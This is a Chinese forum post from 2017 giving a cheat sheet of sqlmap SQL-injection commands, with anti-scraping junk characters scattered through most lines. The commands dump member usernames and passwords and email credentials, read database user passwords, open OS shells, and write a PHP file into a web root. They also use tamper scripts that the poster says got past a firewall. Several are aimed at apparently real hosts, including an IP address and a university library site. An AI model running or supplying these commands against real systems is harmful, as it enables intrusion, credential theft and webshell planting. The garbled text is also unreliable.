找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1700|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap# Z. V6 V% p3 j4 o5 P! y( t

' g  k9 M9 |( |+ Uupdate :::::>     in the folder   after  execute    following   order : svn update8 r7 ~6 w' Q4 ?7 P
) {1 q9 ]7 ~$ Z8 h
sqlmap.py -r 1.txt --current-db
) s% W$ k; S" ]: F7 |& S# z
! A) l- W6 z  P, d5 p1 ]v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”9 M! i8 v2 \  _

- `6 ~7 l/ e. Q==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
6 m4 J" j5 [- O2 T% W0 {猜解数据库3 b. i9 F/ p' v$ ?! F
./sqlmap.py -u "injection-url" --dbs
5 V4 l5 t& m  g; j: Qsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
- e! V. }. e7 q
5 C2 P, m( y3 w0 j猜解表名# e) d# p  z' ~1 q% h
./sqlmap.py -u "injection-url" -D database_name --tables
" W+ L2 u3 x. e7 @' W' P  T: ]4 j
# H, Q* g4 m% c' z( X- ]0 Msqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
  G) \( c# ~$ R5 @( ?, b+ O$ O! Dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 8 _2 s  A5 c( o! r" w$ W

* F. t* [' X+ k! J8 Fsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
7 b3 M8 \5 w9 L" T4 q
: ^! V' `) [' y# ^% ~6 {  p" ysqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
9 t! [( S9 ]2 R% osqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py": W( i  v* c7 c( N$ M/ c
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" : C! b) O9 W" N% U8 Z" R
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
/ w* k% c+ E6 x0 {8 B' t
6 [* j$ h- k7 e% h+ {" jsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
' R1 E# Y0 S4 W. osqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
2 l% i; y8 f% L3 H. i$ jsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"& t' |- U6 T+ {; R& S4 _" G
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"1 l# O( c7 h! L: I* h
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
" a" u$ b& U- I# l' O, B* ^
1 \; h  S+ X* T( s8 G3 M4 Vsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
2 j% z# f8 }3 g* b% i. c* zsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
* \& {7 G( r0 F
2 C( r4 d' K* }/ U' a, Rsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
: h+ a# |: H, w* \% a3 ?1 \猜解列名( V+ V0 e. ]+ z$ `$ Z  z+ M
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
, G. _1 q$ g* O4 k5 P$ m
4 o6 |5 I/ f1 ^8 U$ e! W6 zsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" * b5 U3 g# L$ [% @7 a
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 7 t/ d, R" P1 k3 ?7 K0 s5 E
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
9 b; r+ F% v; F7 i; S7 A- }* w% y0 `1 v% L4 a( f0 D
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
; N& ^2 m/ c" p; ~2 P&submit=Go, C' h" Q" S' X9 O, s/ ^# o
猜解值
0 k- f0 }. f, P" K. f" H& [$ q./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
9 O' ], e5 Z: \/ W# W2 E7 p========================================================
, M) ~5 h, A+ A1 Y7 c1 ^! x: G搜索表名中包括mana字符的& z; X. Q" p2 `: O) y
/sqlmap.py -u "injection-url" -T mana --search( {+ V: [- N. E  F3 w
返回一个交互式sql shell
& ]& I2 r, N/ g: ]& c1 f9 N/sqlmap.py -u "injection-url" --sql-shell
5 X  p1 j% x7 T' A读取指定文件(需权限)$ t7 |; o3 T& Y. j
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
# F" c0 Q! z6 b- m% F+ d查看当前 用户 及 数据库
+ a4 X2 W8 p7 Z8 C/sqlmap.py -u "injection-url" --current-user --current-db9 P: m) P/ h6 ~* C
本地文件 写入 远程目标绝对路径; a; A- w( s) @7 V
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径1 @) E5 L+ e' m7 ]3 j$ Z& t4 b$ v
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" # V* o: A7 G, n; A! W7 S

8 t0 |# h& \! ?* @! Tsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
# Q5 I& e' O$ S& `: H+ Z# y2 }查看某用的权限& O) G: }+ H! X% b$ p) J
/sqlmap.py -u "injection-url" --privileges -U root" A' Y6 d' ]* w4 P/ z# r
查看当前用户是否为dba8 l. A* u$ ^! \4 ?" x) X7 c
/sqlmap.py -u "injection-url" --is-dba$ ]- `% p, i0 g" d# q: V
读取所有数据库用户或指定数据库用户的密码
+ x$ ^5 ^6 X" |" R9 }5 l3 wsqlmap.py -r 1.txt --users --passwords  h) o- t; ?9 N+ c2 E  I
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
7 ^% f$ y+ r5 M- S1 |6 g7 [8 b1 l7 B
/sqlmap.py -u "injection-url" --passwords -U root# u. d- Q" I$ n& v! \& m2 i( [
) i" J3 E: X# Y& ?3 @
--start&&--stop 与 --first&&--last 的区别
* _9 J$ U- ~; g8 A# E/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
# C5 V& j) B- {. J* A$ O4 L" k- N9 ~) f1 M: @! z) M& Y
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
2 J; U# k8 L2 @1 K7 a  D/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
- ^" F/ p$ O9 f& t9 ?4 {( B$ M/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns0 F/ C0 j; z( h! d
. t$ S2 s& I: r6 b8 s, M
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
# z& W/ G7 T) ^- C* |# [2 a/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
: ^% o+ N  i! r' d+ b7 S0 l
4 D6 r/ r5 s! q# t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表